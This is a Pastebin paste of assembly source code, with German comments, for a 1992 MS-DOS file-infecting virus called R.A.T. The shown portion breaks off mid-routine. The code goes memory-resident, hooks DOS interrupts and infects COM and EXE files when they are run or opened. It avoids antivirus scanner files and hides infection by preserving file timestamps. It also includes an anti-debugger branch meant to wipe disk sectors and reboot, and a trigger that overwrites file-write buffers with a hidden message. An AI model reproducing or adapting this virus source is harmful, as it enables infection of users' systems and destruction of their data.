Advertisement
FlyFar

Virus.MSDOS.RiotsAgainstTechnology - Source Code

Jun 13th, 2023
5,429
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
ASM (NASM) 71.72 KB | Cybersecurity | 0 0
  1.             TITLE  R.A.T. [R]iots [A]gainst [T]echnology !!
  2.  
  3. ;(c) 1992 by the Priest und DR. ET.
  4.  
  5. ;����������������������������������������������������������������������������ͻ
  6. ;� Variablen-Vereinbarungen:                                                  �
  7. ;����������������������������������������������������������������������������ͼ
  8. ANZBYTES  EQU VIR_END-VIRUS             ;Ŀ
  9. ;              ���      �Ŀ               �
  10. ;  Ende des Virus       Start des Virus   �
  11. ;                                         
  12. ; L�nge von [R].[A].[T]., Anzahl Bytes zwischen VIR_END und VIRUS
  13. ;
  14. FAKTOR    EQU 100H+8         ;��> Anpassungsfaktor, relativ zur Adresse Null
  15. ;              �� Programm-Offset
  16. ;                                           ��> Maximale gr�sse der zu...
  17. MAXGR     EQU 0FFFFH-(ANZBYTES+100H+20H)  ;��   ...infizierenden Dateien
  18. ;                  Offset 100H ���   �
  19. ;                            Stack ���
  20. ;
  21. BUFSIZE   EQU IMMUN-VIR_END             ;��> Gr��e des Ausgelagerten RAM
  22. ;
  23. MEM_ALLOC EQU (ANZBYTES+BUFSIZE)/10H+1  ;��> In Paragraphen zu 16 Bytes
  24. ;  
  25. ;  �� L�nge des residenten Virus
  26. ;
  27. MCB_PSP   EQU 1               ;��> Zeiger auf den zum Prog geh�renden PSP
  28. MCB_SIZE  EQU 3               ;��> L�nge des zum MCB geh�renden Speichers
  29. ;  
  30. ;  �� Alles Zeiger auf die verschiedenen MCB-Eintr�ge...
  31. ;
  32. PSP_MEM   EQU 2               ;��> Beinhaltet (im PSP) die Endadresse des durch
  33. ;                                  das Programm belegten Speichers!
  34. ;
  35. TNT_WORD  EQU "sM"            ;��> TNT- und CPAV-Immun-Kenn-Bytes ("Ms"Dos).
  36. ID_WORD   EQU "Vi"            ;��> Kenn-Bytes des "Vi"rus.
  37.  
  38. ;����������������������������������������������������������������������������ͻ
  39. ;� PUSHALL: Regs auf dem Stack sichern:                                       �
  40. ;����������������������������������������������������������������������������ͼ
  41. PUSHALL   MACRO                         ;Alle REGs auf dem STACK sichern
  42.  
  43.           PUSHF
  44.           PUSH AX
  45.           PUSH BX
  46.           PUSH CX
  47.           PUSH DX
  48.           PUSH DS
  49.           PUSH ES
  50.           PUSH DI
  51.           PUSH SI
  52.           PUSH BP
  53.  
  54.           ENDM
  55.  
  56. ;����������������������������������������������������������������������������ͻ
  57. ;� POPALL: Reg vom Stack holen, gepushten Regs restaurieren                   �
  58. ;����������������������������������������������������������������������������ͼ
  59. POPALL    MACRO                         ;Alle REGs vom STACK zur�ckholen
  60.  
  61.           POP BP
  62.           POP SI
  63.           POP DI
  64.           POP ES
  65.           POP DS
  66.           POP DX
  67.           POP CX
  68.           POP BX
  69.           POP AX
  70.           POPF
  71.  
  72.           ENDM
  73.  
  74. ;==============================================================================
  75.  
  76. CODE SEGMENT PARA 'CODE'
  77.  
  78. ASSUME CS:CODE, DS:CODE, ES:CODE
  79.  
  80. ORG 100H
  81.  
  82. ;����������������������������������������������������������������������������ͻ
  83. ;�                      Infiziertes Host-(Vor-)programm                       �
  84. ;����������������������������������������������������������������������������ͼ
  85. START:    JMP VIRUS           ;Sprung zum Virus
  86.           NOP                 ;Mach die 3 BYTES voll
  87.           MOV AX,4C00H        ;...dann das
  88.           INT 21H             ;Prog beenden!
  89.  
  90. ;����������������������������������������������������������������������������ͻ
  91. ;� Start des Virus-Codes:                                                     �
  92. ;����������������������������������������������������������������������������ͼ
  93. ;����������������������������������������������������������������������������Ŀ
  94. ;� OFFSET des Virus feststellen, SEGMENT-Register setzen:                     �
  95. ;������������������������������������������������������������������������������
  96. VIRUS:    CALL IP_TEST                  ;IP herausfinden, jetzt auf dem STACK!
  97. IP_TEST:  POP BP                        ;jetzt IP in <BP>
  98.           SUB BP,3                      ;<BP> auf den Anfang des Virus...
  99.  
  100.           PUSH DS                       ;<DS> sichern (und somit auch <ES> !!!)
  101.  
  102. ;����������������������������������������������������������������������������Ŀ
  103. ;� Debugger-Test:                                                             �
  104. ;������������������������������������������������������������������������������
  105.           XOR AX,AX                     ;<DS> auf...
  106.           MOV DS,AX                     ;...NULL setzen
  107.           LES BX,DS:[4]                 ;<DS> und <BX> mit Vektor von INT 1
  108.           CMP BYTE PTR ES:[BX],0CFH     ;Zeigt der Vektor auf einen IRET?
  109.           JZ NO_BUG                     ;NEIN --> NO_BUG!
  110.  
  111. ;����������������������������������������������������������������������������Ŀ
  112. ;� Debugger ist gerade aktiv, tod der FAT, und dann nen Reset!                �
  113. ;������������������������������������������������������������������������������
  114.           MOV BYTE PTR ES:[BX],0CFH     ;INT 1 erst mal auf nen IRET!
  115.           MOV AX,0380H                  ;Ersten...
  116.           MOV DX,0080H                  ;...128 Sektoren...
  117.           MOV CX,0001H                  ;der Festplatte 1...
  118.           ;INT 13H                       ;...�berschreiben
  119.           MOV AX,0381H                  ;Und die 2. Platte...
  120.           ;INT 13H                       ;...auch noch!
  121.  
  122.           JMP DWORD PTR DS:[19H*4]      ;JMP zur RESET-Routine (INT 19H) !
  123.  
  124. ;����������������������������������������������������������������������������Ŀ
  125. ;� SEG-REGs + Flags setzen:                                                   �
  126. ;������������������������������������������������������������������������������
  127. NO_BUG:   PUSH CS                       ;<DS> und <ES> auf <CS> setzen:
  128.           POP DS                        ;<-- (s.o.)
  129.           PUSH CS                       ;<-- (s.o.)
  130.           POP ES                        ;<-- (s.o.)
  131.  
  132.           CLD                           ;Aufsteigend (Stringmanipulation)
  133.  
  134. ;����������������������������������������������������������������������������Ŀ
  135. ;� COM- oder EXE-Strategie:                                                   �
  136. ;������������������������������������������������������������������������������
  137.           CMP BYTE PTR CS:[OFFSET COMEXE-FAKTOR+BP],1 ;COM oder EXE zum beenden
  138.           JZ EXE_STRT                   ;--> EXE-Konform starten
  139.  
  140. ;����������������������������������������������������������������������������Ŀ
  141. ;� COM: Start-BYTES des Hostprogs restaurieren, r�cksprung setzen:            �
  142. ;������������������������������������������������������������������������������
  143.           MOV WORD PTR CS:[OFFSET HOST_SEG-FAKTOR+BP],CS    ;SEG auf <CS>
  144.  
  145.           MOV SI,OFFSET PUFFER-FAKTOR   ;Quelle
  146.           ADD SI,BP                     ;OFS anpassen
  147.           MOV DI,100H                   ;Ziel
  148.           MOV CX,3                      ;3 Durchl�ufe
  149.           REP MOVSB                     ;Kopieren!
  150.           JMP TEST_VIR                  ;--> TEST_VIR
  151.  
  152. ;����������������������������������������������������������������������������Ŀ
  153. ;� EXE: R�cksprung zum Host vorbereiten:                                      �
  154. ;������������������������������������������������������������������������������
  155. EXE_STRT: MOV AX,CS                     ;Aktuelles <CS>
  156. EXE_SEG:  SUB AX,0                      ;R�cksprung vorbereiten (SEG)
  157.           MOV CS:[HOST_SEG-FAKTOR],AX   ;Differnez zw. Virus-<CS> und Host-<CS>
  158.  
  159. ;����������������������������������������������������������������������������Ŀ
  160. ;� T E S T : Schon installiert?                                               �
  161. ;������������������������������������������������������������������������������
  162. TEST_VIR: MOV DX,ID_WORD                ;ID_WORD in <DX>
  163.           MOV AH,30H                    ;DOS Versionsnummer ermitteln
  164.           INT 21H                       ;Pr�f-Int aufrufen
  165.           INC DX                        ;Erh�hen...Installiert?
  166.           JNZ MEM_TEST                  ;NEIN --> MEM_TEST
  167. F_ENDE:   JMP ENDE                      ;JA --> ENDE
  168.  
  169. ;����������������������������������������������������������������������������ͻ
  170. ;�                        Resident MACHEN des Virus                           �
  171. ;����������������������������������������������������������������������������ͼ
  172.  
  173. MEM_TEST: MOV AH,48H                    ;RAM-Speicher reservieren
  174.           MOV BX,MEM_ALLOC              ;Ben�tigte gr��e...
  175.           INT 21H                       ; --> O.K. ?... (dann SEG in <AX>)
  176.           JNC ALLOC_OK                  ;JAAA --> MEM_ALLOC
  177.  
  178. ;����������������������������������������������������������������������������Ŀ
  179. ;� Vom HOST-Programm Speicher klauen:                                         �
  180. ;������������������������������������������������������������������������������
  181.           POP AX                        ;<DS> vom STACK in <AX>
  182.           PUSH AX                       ;<DS> wieder sichern
  183.           DEC AX                        ;<ES> auf den MCB...
  184.           MOV ES,AX                     ;...zeigen lassen
  185.           MOV BX,WORD PTR ES:[MCB_SIZE] ;Gr��e des Speicher-Blocks ermitteln
  186.           SUB BX,MEM_ALLOC+1            ;Speicher weniger MEM_ALLOC
  187.  
  188.           POP ES                        ;<ES> wieder auf...
  189.           PUSH ES                       ;...<DS> setzen und <DS> wieder sichern
  190.           MOV AH,4AH                    ;Gr��e eines Speicherbereiches �ndern
  191.           INT 21H                       ;<BX>=neue Gr��e / <ES>=SEG des RAM-Blocks
  192.           JC F_ENDE                     ;Geht nich --> ENDE
  193.  
  194.           MOV AH,48H                    ;RAM-Speicher reservieren
  195.           MOV BX,MEM_ALLOC              ;Ben�tigte gr��e...
  196.           INT 21H                       ; --> O.K. ?... (dann SEG in <AX>)
  197.           JC ENDE                       ;Schade --> ENDE
  198.  
  199. ;����������������������������������������������������������������������������Ŀ
  200. ;� PSP-Eintrag (verf�gbarer Speicher) des Hosts aktualisieren:                �
  201. ;������������������������������������������������������������������������������
  202. ALLOC_OK: SUB WORD PTR ES:[PSP_MEM],MEM_ALLOC+1 ;belegten Speicher minus Virus
  203.  
  204. ;����������������������������������������������������������������������������Ŀ
  205. ;� SEG-Adr des reservierten Speichers in <ES>                                 �
  206. ;������������������������������������������������������������������������������
  207.           MOV ES,AX                     ;<ES> auf den reservierten Speicher-
  208.                                         ;bereich (Funktion 48H / INT 21H)
  209.  
  210. ;����������������������������������������������������������������������������Ŀ
  211. ;� Virus in den SPEICHER kopieren:                                            �
  212. ;������������������������������������������������������������������������������
  213.           MOV SI,BP           ;Quelle, auf den Anfang des Virus! [DS:SI]
  214.           XOR DI,DI           ;Ziel (gerade reservierter MCB)    [ES:DI]
  215.           MOV CX,ANZBYTES     ;ANZBYTES Durchl�ufe!
  216.           REP MOVSB           ;Kopieren!
  217.  
  218. ;����������������������������������������������������������������������������Ŀ
  219. ;� Speicher als belegt kennzeichnen, Owner (SEG-Adr des zugeh�rigen PSP): 8   �
  220. ;������������������������������������������������������������������������������
  221.           DEC AX                        ;<AX>=Reservierter Speicher, jetzt MCB
  222.           MOV DS,AX                     ;<DS> zeigt auf MCB vom allocierten RAM
  223.           MOV WORD PTR DS:[MCB_PSP],8   ;Speicher als belegt gekennzeichnet
  224.  
  225. ;����������������������������������������������������������������������������Ŀ
  226. ;� AKTIV-Flag (Byte) auf NICHT AKTIV!!!                                       �
  227. ;������������������������������������������������������������������������������
  228.           MOV BYTE PTR ES:[OFFSET AKTIV-FAKTOR],0 ;Aktiv-FLAG auf Null!!!
  229.  
  230. ;����������������������������������������������������������������������������Ŀ
  231. ;� Vektoren umbiegen:                                                         �
  232. ;������������������������������������������������������������������������������
  233.           PUSH ES                       ;<DS> auf den neu reservierten...
  234.           POP DS                        ;...Speicher setzen... (<ES>!!!)
  235.  
  236. ;����������������������������������������������������������������������������Ŀ
  237. ;� Alten INT 13H merken:                                                      �
  238. ;������������������������������������������������������������������������������
  239.           MOV AX,3513H                  ;Vektor von INT 21 lesen
  240.           INT 21H
  241.           MOV WORD PTR DS:[OFFSET ALT13-FAKTOR],BX    ;Alten Vektor sichern
  242.           MOV WORD PTR DS:[OFFSET ALT13-FAKTOR+2],ES  ;(--> OFS und SEG)
  243.  
  244. ;����������������������������������������������������������������������������Ŀ
  245. ;� INT 21H umbiegen:                                                          �
  246. ;������������������������������������������������������������������������������
  247. ;------------------------------------------------------------------------------
  248. ; Aufruf von INT 21H ��> Vektor zeigt auf das 5.BYTE des ersten MCB ��> JMP
  249. ; ��> Sprung zum eigentlichen Virus... INT 21H zeigt somit in den 1. MCB
  250. ;------------------------------------------------------------------------------
  251.           MOV AH,52H                    ;DOS INFORMATION BLOCK (DIB) ermitteln
  252.           INT 21H                       ;...undokumentiert
  253.           MOV AX,ES                     ;<ES> in <AX>
  254.           DEC AX                        ;<AX> verkleinern
  255.           MOV ES,AX                     ;<ES> somit verkleinert!
  256.           ADD BX,12                     ;...OFS auf die Adr. des ersten MCB
  257.           LES BX,ES:[BX]                ;Adr. des ersten MCB in <ES>/<BX>
  258.  
  259.           ADD BX,5                      ;OFS auf das 1. ungenuzte BYTE im MCB
  260.           MOV BYTE PTR ES:[BX],0EAH     ;JMP setzen (Direct intersegment)
  261.           MOV WORD PTR ES:[BX+1],OFFSET NEU21-FAKTOR  ;OFS setzen
  262.           MOV WORD PTR ES:[BX+3],DS     ;SEG setzen!
  263. ;------------------------------------------------------------------------------
  264.           MOV DX,BX                     ;OFS vorbereiten f�r INT neu setzen
  265.           PUSH ES                       ;SEG sichern (f�r INT neu setzen...)
  266. ;------------------------------------------------------------------------------
  267.           MOV AX,3521H                  ;Vektor von INT 21 lesen
  268.           INT 21H
  269.           MOV WORD PTR DS:[OFFSET ALT21-FAKTOR],BX    ;Alten Vektor sichern
  270.           MOV WORD PTR DS:[OFFSET ALT21-FAKTOR+2],ES  ;(--> OFS und SEG)
  271.  
  272.           MOV AX,2521H                  ;INT 21H neu setzen
  273.           POP DS                        ;SEG des MCB in <DS>      
  274.           INT 21H                       ;OFS in <DX> (siehe oben ��)
  275.  
  276. ;------------------------------------------------------------------------------
  277. ; <ES> und <DS> restaurieren:
  278. ;------------------------------------------------------------------------------
  279. ENDE:     POP DS                        ;<DS> und <ES> restaurieren
  280.           PUSH DS                       ;<--- (s.o.)
  281.           POP ES                        ;<--- (s.o.)
  282.  
  283. ;����������������������������������������������������������������������������Ŀ
  284. ;� Virus beenden (COM oder EXE..? s.o...):                                    �
  285. ;������������������������������������������������������������������������������
  286.           DB 0EAH                       ;Direct Intersegment Jmp...
  287. HOST_OFS  DW 0100H                      ;OFS-ADR f�r den R�cksprung zum Host
  288. HOST_SEG  DW ?                          ;SEG-ADR f�r den R�cksprung zum Host
  289.  
  290. ;����������������������������������������������������������������������������ͻ
  291. ;� Neuer INT 24H (Critical Error) Handler:                                    �
  292. ;����������������������������������������������������������������������������ͼ
  293. NEU24     PROC FAR                      ;Kritischer Fehler
  294.  
  295.           MOV AL,3                      ;Aktuelle Funktion abbrechen...
  296.           IRET                          ;Zur�ck zur fehlerhaften Funktion.
  297.  
  298. NEU24     ENDP
  299.  
  300. ;�����������������������������������������������������������������������������ͻ
  301. ;� Neuer INT 21H (Dos-Calls) Handler;                                          �
  302. ;�����������������������������������������������������������������������������ͼ
  303. NEU21     PROC FAR                      ;DOS-INT
  304.  
  305. ;����������������������������������������������������������������������������Ŀ
  306. ;� Schon installiert ? Test �ber Versionsnummer, bei Erfolg: <DX> = 0FFFFH    �
  307. ;������������������������������������������������������������������������������
  308.           CMP AH,30H                    ;DOS Versionsnummer ermitteln ?
  309.           JNZ VIR_21                    ;NEIN --> VIR_21
  310.           CMP DX,ID_WORD                ;<DX> gleich ID_WORD?
  311.           JNZ VIR_21                    ;NEIN --> VIR_21
  312.           MOV DX,0FFFFH                 ;Pr�fbyte in <DX> zur�ckliefern...
  313.  
  314.           IRET                          ;Virus schon drin --> INT beenden
  315.  
  316. ;����������������������������������������������������������������������������Ŀ
  317. ;� Virus laufen lassen...                                                     �
  318. ;������������������������������������������������������������������������������
  319. VIR_21:   PUSHALL                       ;Register sichern
  320.           CMP BYTE PTR CS:[OFFSET AKTIV-FAKTOR],0 ;Virus schon AKTIV ?
  321.           JNZ END21                     ;JA (Schon aktiv !) --> END21
  322.  
  323. ;����������������������������������������������������������������������������Ŀ
  324. ;� Trigger testen:                                                            �
  325. ;������������������������������������������������������������������������������
  326.           CMP AH,40H                    ;Funktion=Datei schreiben?
  327.           JE TRIG_OK                    ;JA --> TRIG_OK
  328.  
  329. ;����������������������������������������������������������������������������Ŀ
  330. ;� EXEC oder OPEN ?                                                           �
  331. ;������������������������������������������������������������������������������
  332.           CMP AX,4B00H                  ;EXEC-Aufruf ?
  333.           JE GO_INF                     ;JA --> GO_INF
  334.  
  335.           CMP AH,3DH                    ;Datei �ffnen ?
  336.           JNE END21                     ;NEIN --> END21
  337.  
  338. ;����������������������������������������������������������������������������Ŀ
  339. ;� EXE oder COM oder keins von beidem?                                        �
  340. ;������������������������������������������������������������������������������
  341. GO_INF:   MOV BYTE PTR CS:[OFFSET AKTIV-FAKTOR],1 ;Virus ist jetzt AKTIV !!!
  342. ;------------------------------------------------------------------------------
  343.           MOV DI,DX                     ;<DI> mit OFS des Programmnamens laden
  344.  
  345. FIND_END: INC DI                        ;<DI> auf das n�chste Zeichen
  346.           JZ NEU21END                   ;<DI> wieder Null? JA --> NEU21END
  347.           CMP BYTE PTR DS:[DI],0        ;Ende-Zeichen des Dateinamens?
  348.           JNZ FIND_END                  ;NEIN --> FIND_END
  349. ;------------------------------------------------------------------------------
  350.           MOV CX,10                     ;10 Durchl�ufe
  351.           XOR AL,AL                     ;Checksumme in <AX>
  352.  
  353. MAKE_SUM: DEC DI                        ;Aufs n�chste Zeichen des Dateinamens
  354.           MOV BP,DS:[DI-2]              ;3 Zeichen des...
  355.           MOV BH,DS:[DI]                ;...Dateinamens einlesen (<BP>/<BH>)
  356.  
  357.           AND BP,0DFDFH                 ;Zeichen in den Regs <BP>/<BH> in...
  358.           AND BH,0DFH                   ;...Gro�schrift umwandeln
  359.  
  360.           CMP CX,7                      ;Extension abgearbeitet?
  361.           JA EXT_CHK                    ;JA --> END_SUM
  362. ;------------------------------------------------------------------------------
  363.           XOR SI,SI                     ;Zeiger auf die SCANNER-Namen
  364.  
  365. TESTSCAN: CMP BP,WORD PTR CS:[OFFSET SCAN+SI-FAKTOR+1] ;Ersten 2 Chr in <BX>
  366.           JNZ NO_SCAN                   ;NIX... --> NO_SCAN
  367.           CMP BH,BYTE PTR CS:[OFFSET SCAN+SI-FAKTOR] ;N�chsten 2 Chr in <BP>
  368.           JZ NEU21END                   ;SCANNER!!! --> NEU21END
  369. NO_SCAN:  CMP SI,(ANZ_SCAN-1)*3         ;<SI> auf den letzten Eintrag pr�fen
  370.           JZ END_SUM                    ;Alles getestet --> END_SUM
  371.           ADD SI,3                      ;Auf den n�chsten Namen
  372.           JMP TESTSCAN                  ;--> TESTSCAN
  373.  
  374. ;------------------------------------------------------------------------------
  375. EXT_CHK:  ADD AL,BH                     ;Checksumme erh�hen
  376. ;------------------------------------------------------------------------------
  377. END_SUM:  LOOP MAKE_SUM                 ;Alle 3 Bytes abarbeiten
  378.  
  379. ;------------------------------------------------------------------------------
  380.           CMP AL,223                    ;Summe = "COM" ?
  381.           JZ F_START                    ;JA --> F_START --> START_ME !
  382.           CMP AL,226                    ;Summe = "EXE" ?
  383.           JNZ NEU21END                  ;NEIN --> NEU21END
  384.  
  385. F_START:  JMP START_ME                  ;--> START_ME !!!
  386.  
  387. ;����������������������������������������������������������������������������Ŀ
  388. ;� INT 21H-Virus beenden:                                                     �
  389. ;������������������������������������������������������������������������������
  390. NEU21END: MOV BYTE PTR CS:[OFFSET AKTIV-FAKTOR],0 ;Virus ist jetzt NICHT...
  391.                                                   ;...MEHR aktiv!
  392. ;����������������������������������������������������������������������������Ŀ
  393. ;� Sprung zum orginal INT 21H Handler:                                        �
  394. ;������������������������������������������������������������������������������
  395. END21:    POPALL                        ;Register laden
  396.           DB 0EAH                       ;Direct Intersegment Jmp...
  397. ALT21     DD ?                          ;Far-ADR f�r den R�cksprung zum INT 21H
  398.  
  399. ;����������������������������������������������������������������������������ͻ
  400. ;� TRIGer_OK:                                                                 �
  401. ;����������������������������������������������������������������������������ͼ
  402. TRIG_OK:  MOV AL,BYTE PTR CS:[OFFSET KOPIE-FAKTOR] ;LOW-BYTE von KOPIE in <AL>
  403.           AND AL,0111B                  ;Letzten 3 BITs NICHT ausmaskieren
  404.           JNZ END21                     ;NEIN --> END21
  405.  
  406.           CMP BX,4                      ;Handle=Standard Ausgabe etc?
  407.           JBE END21                     ;JA --> END21
  408.  
  409. ;------------------------------------------------------------------------------
  410.           MOV SI,TXT_SIZ                ;Text-l�nge in <SI>
  411.           MOV BX,DX                     ;OFS des Puffers in <BX>, s.u.
  412.  
  413. BOESE:    MOV AL,BYTE PTR CS:[SI+OFFSET TEXT-FAKTOR]  ;Text lesen
  414.           XOR AX,SI                     ;Entschl�sseln!
  415.           MOV DI,CX                     ;...und dann in den...
  416.           DEC DI                        ;(Pufferzeiger verkleinern!)
  417.           MOV DS:[DI+BX],AL             ;Puffer schreiben!
  418.  
  419.           DEC SI                        ;String-Zeiger verkleinern
  420.           JNZ EVIL                      ;NULL? NEIN --> EVIL
  421.  
  422.           MOV SI,TXT_SIZ                ;Text-l�nge in <SI>
  423.  
  424. EVIL:     LOOP BOESE                    ;Puffer voll machen!
  425.           JMP END21                     ;...und zur Dose!
  426.  
  427. ;-----------------------------------------------------------------------------
  428. TEXT      DB 000,083,044,066,042,081,040,039,083,091,087,098,099,121,125,047
  429.           DB 075,080,079,116,117,124,120,100,108,057,065,079,065,120,125,119
  430.           DB 078,078,078,076,067,092,006,010,005,009,108,098,107,101,122,015
  431.           DB 121,101,018,113,117,118,125,023,025,024,027,027
  432.  
  433. TXT_SIZ   EQU 59
  434.  
  435. ;����������������������������������������������������������������������������ͻ
  436. ;� Infektions-Routinen des Virus:                                             �
  437. ;����������������������������������������������������������������������������ͼ
  438. ;����������������������������������������������������������������������������Ŀ
  439. ;� INT 24H - Kritikal Errorhandler - merken:                                  �
  440. ;������������������������������������������������������������������������������
  441. START_ME: MOV AX,3524H                            ;Vektor von INT 24 lesen
  442.           CALL GODOS                              ;--> Dose direkt callen
  443.           PUSH ES                                 ;SEG vom Vektor sichern
  444.           PUSH BX                                 ;OFS vom Vektor sichern
  445.  
  446. ;����������������������������������������������������������������������������Ŀ
  447. ;� Neuen INT 13H - HD/FLOPPY-INT - merken:                                    �
  448. ;������������������������������������������������������������������������������
  449.           MOV AL,13H                    ;Vektor von INT 13 lesen, <AH>=35 (s o)
  450.           CALL GODOS                              ;--> Dose direkt callen
  451.           PUSH ES                                 ;SEG vom Vektor sichern
  452.           PUSH BX                                 ;OFS vom Vektor sichern
  453.  
  454. ;����������������������������������������������������������������������������Ŀ
  455. ;� Vektoren NEU setzen (Auf die Adressen, bevor der Virus installiert war):   �
  456. ;������������������������������������������������������������������������������
  457.           PUSH DS                       ;SEG des Dateinamens (<DS>) gesichert
  458.           PUSH DX                       ;OFS des Dateinamens (<DX>) gesichert
  459.  
  460. ;����������������������������������������������������������������������������Ŀ
  461. ;� Kritikal Errorhandler auf eigene Routine umbiegen:                         �
  462. ;������������������������������������������������������������������������������
  463.           MOV AX,2524H                  ;INT 24H neu setzen
  464.           PUSH CS                       ;SEG <DS> auf den...
  465.           POP DS                        ;...Wert von <CS> setzen
  466.           MOV DX,OFFSET NEU24-FAKTOR    ;SEG in <DS>
  467.           CALL GODOS                    ;--> Dose direkt callen
  468.  
  469. ;����������������������������������������������������������������������������Ŀ
  470. ;� INT 13H auf alten (vor dem Virus) Vektor setzen:                           �
  471. ;������������������������������������������������������������������������������
  472.           LDS DX,DWORD PTR CS:[OFFSET ALT13-FAKTOR] ;Urspr�nglichen 13H-Vektor:
  473.           MOV AL,13H                    ;Neu setzen:<AH>=25 (s.o)
  474.           CALL GODOS                    ;--> Dose direkt callen
  475.  
  476. ;------------------------------------------------------------------------------
  477.           POP DX                        ;<OFS> des Dateinamens restaurieren
  478.           POP DS                        ;<SEG> des Dateinamens restaurieren
  479.  
  480. ;����������������������������������������������������������������������������Ŀ
  481. ;� Attribut lesen und neu schreiben:                                          �
  482. ;������������������������������������������������������������������������������
  483.           MOV AX,4300H        ;Attribut einer Datei ermitteln           
  484.           CALL GODOS          ;SEG in <DS> und OFS in <DX> (siehe Oben ��)
  485.           JC REST_FAR         ;FEHLER --> REST_INT
  486.  
  487.           MOV SI,CX           ;Attribut der Datei in <SI> retten
  488.  
  489.           MOV AX,4301H        ;Attribut einer Datei setzen
  490.           XOR CX,CX           ;Neues Attribut                           
  491.           CALL GODOS          ;SEG in <DS> und OFS in <DX> (siehe Oben ��)
  492.           JNC ATTR_OK         ;OK --> ATTR_OK
  493. REST_FAR: JMP REST_INT        ;FEHLER --> REST_INT
  494.  
  495. ATTR_OK:  PUSH SI                       ;Attribut auf den Stack (merken!)
  496.           PUSH DX                       ;SEG des Dateinamens merken
  497.           PUSH DS                       ;OFS des Dateinamens merken
  498.  
  499. ;����������������������������������������������������������������������������Ŀ
  500. ;� Datei �ffnen:                                                              �
  501. ;������������������������������������������������������������������������������
  502.           MOV AX,3D12H                  ;Datei �ffnen, <AL>=Zugriffsmodus
  503.           CALL GODOS                    ;SEG des FNamens in <DS>, OFS in <DX>
  504.           JNC HANDLE                    ;OK --> HANDLE
  505.           JMP BREAK                     ;FEHLER --> BREAK
  506.  
  507. HANDLE:   MOV BX,AX                     ;Handle in <BX> retten
  508. ;------------------------------------------------------------------------------
  509.           PUSH CS                       ;Nebenbei...
  510.           POP DS                        ;...<DS> auf <CS> setzen
  511.  
  512. ;����������������������������������������������������������������������������Ŀ
  513. ;� ID_WORD TESTEN (Keine Doppelinfektion!):                                   �
  514. ;������������������������������������������������������������������������������
  515. ID_TEST:  MOV AX,4202H                  ;Dateizeiger bewegen, relativ zum Ende
  516.           MOV CX,0FFFFH                 ;HI-WORD des Offset
  517.           MOV DX,(-5)                   ;LO-WORD des Offset
  518.           CALL GODOS                    ;Handle in <BX>
  519.           JNC ID_OK                     ;OK --> Weiter
  520. N_CLOSE:  JMP CLOSE                     ;FEHLER -->  CLOSE
  521.  
  522. ID_OK:    MOV AH,3FH                    ;Datei lesen
  523.           MOV CX,2                      ;Anzahl zu lesender BYTES
  524.           MOV DX,OFFSET PUFFER-FAKTOR   ;OFS des Puffers, SEG in <DS>
  525.           CALL GODOS                    ;Handle in <BX>
  526.           JC N_CLOSE                    ;FEHLER --> CLOSE
  527.  
  528.           CMP WORD PTR CS:[OFFSET PUFFER-FAKTOR],ID_WORD    ;Kennbytes..?
  529.           JZ N_CLOSE                                        ;JA --> CLOSE
  530.  
  531.           MOV BYTE PTR CS:[OFFSET IMMUN-FAKTOR],0           ;IMMUN-Flag l�schen
  532.           CMP WORD PTR CS:[OFFSET PUFFER-FAKTOR],TNT_WORD   ;Immunisiert..?
  533.           JNZ READ_IT                                       ;JA --> READ_IT
  534.           MOV BYTE PTR CS:[OFFSET IMMUN-FAKTOR],1           ;Immunisiert...
  535.  
  536. ;����������������������������������������������������������������������������Ŀ
  537. ;� Ersten 18H BYTEs des Hosts merken:                                         �
  538. ;������������������������������������������������������������������������������
  539. READ_IT:  CALL SEEK_BEG                 ;Dateizeiger auf den Anfang der Datei
  540.           JC N_CLOSE                    ;FEHLER --> CLOSE
  541.  
  542.           MOV AH,3FH                    ;Datei lesen
  543.           MOV CX,18H                    ;Anzahl zu lesender BYTES
  544.           MOV DX,OFFSET PUFFER-FAKTOR   ;OFS des Puffers, SEG in <DS>
  545.           CALL GODOS                    ;Handle in <BX>
  546.           JC N_CLOSE                    ;FEHLER --> CLOSE
  547.  
  548. ;����������������������������������������������������������������������������Ŀ
  549. ;� L�nge einlesen und merken:                                                 �
  550. ;������������������������������������������������������������������������������
  551.           MOV AX,4202H                  ;Dateizeiger bewegen, relativ zum Ende
  552.           XOR CX,CX                     ;HI-WORD des Offset
  553.           XOR DX,DX                     ;LO-WORD des offset
  554.           CALL GODOS                    ;Handle in <BX>
  555.           JC N_CLOSE                    ;FEHLER --> CLOSE
  556.  
  557.           MOV SI,AX                     ;LO-WORD der Dateil�nge in <SI> merken
  558.           MOV DI,DX                     ;HI-WORD der Dateil�nge in <DI> merken
  559.  
  560. ;����������������������������������������������������������������������������Ŀ
  561. ;� Dateizeiger auf den Anfang des Hosts:                                      �
  562. ;������������������������������������������������������������������������������
  563.           CALL SEEK_BEG                 ;Dateizeiger auf den Anfang der Datei
  564.           JC N_CLOSE                    ;FEHLER --> N_CLOSE --> CLOSE
  565.  
  566. ;����������������������������������������������������������������������������Ŀ
  567. ;� Altes DATUM und alte ZEIT merken:                                          �
  568. ;������������������������������������������������������������������������������
  569.           MOV AX,5700H                  ;Lezte Modifikation der Datei merken
  570.           CALL GODOS                    ;Handle in <BX>
  571.           JC N_CLOSE                    ;FEHLER --> CLOSE
  572.  
  573.           PUSH CX                       ;Uhrzeit merken
  574.           PUSH DX                       ;Datum merken
  575.  
  576. ;����������������������������������������������������������������������������Ŀ
  577. ;� COM oder EXE..????                                                         �
  578. ;������������������������������������������������������������������������������
  579.           CMP WORD PTR CS:[OFFSET PUFFER-FAKTOR],"ZM"   ;EXE-Datei? ("MZ")
  580.           JZ GO_EXE                                     ;JA --> GO_EXE
  581.  
  582. ;����������������������������������������������������������������������������Ŀ
  583. ;� COM:                                                                       �
  584. ;������������������������������������������������������������������������������
  585.           CMP SI,MAXGR                  ;Datei zu gro�?
  586.           JAE POP_CLOSE                 ;JA --> CLOSE
  587.  
  588.           MOV CS:[COMEXE-FAKTOR],0      ;COMEXE auf COM setzen
  589.  
  590. ;����������������������������������������������������������������������������Ŀ
  591. ;� COM: R�cksprung & JMP setzen                                               �
  592. ;������������������������������������������������������������������������������
  593. ;------------------------------------------------------------------------------
  594. ; OFS des R�cksprungs in den Host (100H) setzen, SEG wird w�hrend der Laufzeit
  595. ; eingesetzt... (<CS> ist je nach freiem Speicher immer unterschiedlich!)
  596. ;------------------------------------------------------------------------------
  597.           MOV WORD PTR CS:[OFFSET HOST_OFS-FAKTOR],100H
  598.  
  599. ;------------------------------------------------------------------------------
  600. ; Sprung vom HOST in den VIRUS setzen und an den Anfang der Datei schreiben:
  601. ;------------------------------------------------------------------------------
